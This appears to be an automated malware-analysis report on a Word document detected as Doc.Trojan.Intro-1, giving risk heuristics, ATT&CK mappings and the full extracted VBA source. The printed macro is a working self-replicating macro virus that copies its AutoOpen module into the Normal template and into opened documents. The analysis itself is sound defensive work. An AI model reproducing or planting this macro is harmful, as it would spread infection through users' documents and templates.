MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself to the Normal template or the active document, which is a common technique for establishing persistence or ensuring the macro executes on document opening. The presence of the AutoOpen macro and the heuristic firings strongly suggest a macro-based malware delivery mechanism.
Heuristics 4
-
ClamAV: Doc.Trojan.Intro-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Intro-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2083 bytes |
SHA-256: 8200ca7beb1eac38e889b26292553961da471ad80c5be13dd829ac459b5aa86d |
|||
|
Detection
ClamAV:
Doc.Trojan.Intro-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub Main()
'Hello
On Error GoTo 0
If Not ActiveDocHaveCopied Then
CopyToActiveDoc
ElseIf Not NormHaveCopied Then
CopyToNormal
Else: MsgBox ("How are you! Please tell me your name!")
End If
End Sub
Sub CopyToNormal()
For Each aModule In NormalTemplate.VBProject.VBComponents
If aModule.Name = "AutoOpen" Then
IsDblName = True
Exit For
End If
Next aModule
If IsDblName Then
With NormalTemplate.VBProject.VBComponents
.Remove .Item("AutoOpen")
End With
End If
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, _
Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End Sub
Sub CopyToActiveDoc()
For Each aModule In ActiveDocument.VBProject.VBComponents
If aModule.Name = "AutoOpen" Then
IsDblName = True
Exit For
End If
Next aModule
If IsDblName Then
With ActiveDocument.VBProject.VBComponents
.Remove .Item("AutoOpen")
End With
End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End Sub
Function NormHaveCopied() As Boolean
For Each aModule In NormalTemplate.VBProject.VBComponents
If aModule.Name = "AutoOpen" Then
If aModule.CodeModule.Lines(2, 1) = "'Hello" Then NormHaveCopied = True
End If
Next aModule
End Function
Function ActiveDocHaveCopied() As Boolean
For Each aModule In ActiveDocument.VBProject.VBComponents
If aModule.Name = "AutoOpen" Then
If aModule.CodeModule.Lines(2, 1) = "'Hello" Then ActiveDocHaveCopied = True
End If
Next aModule
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.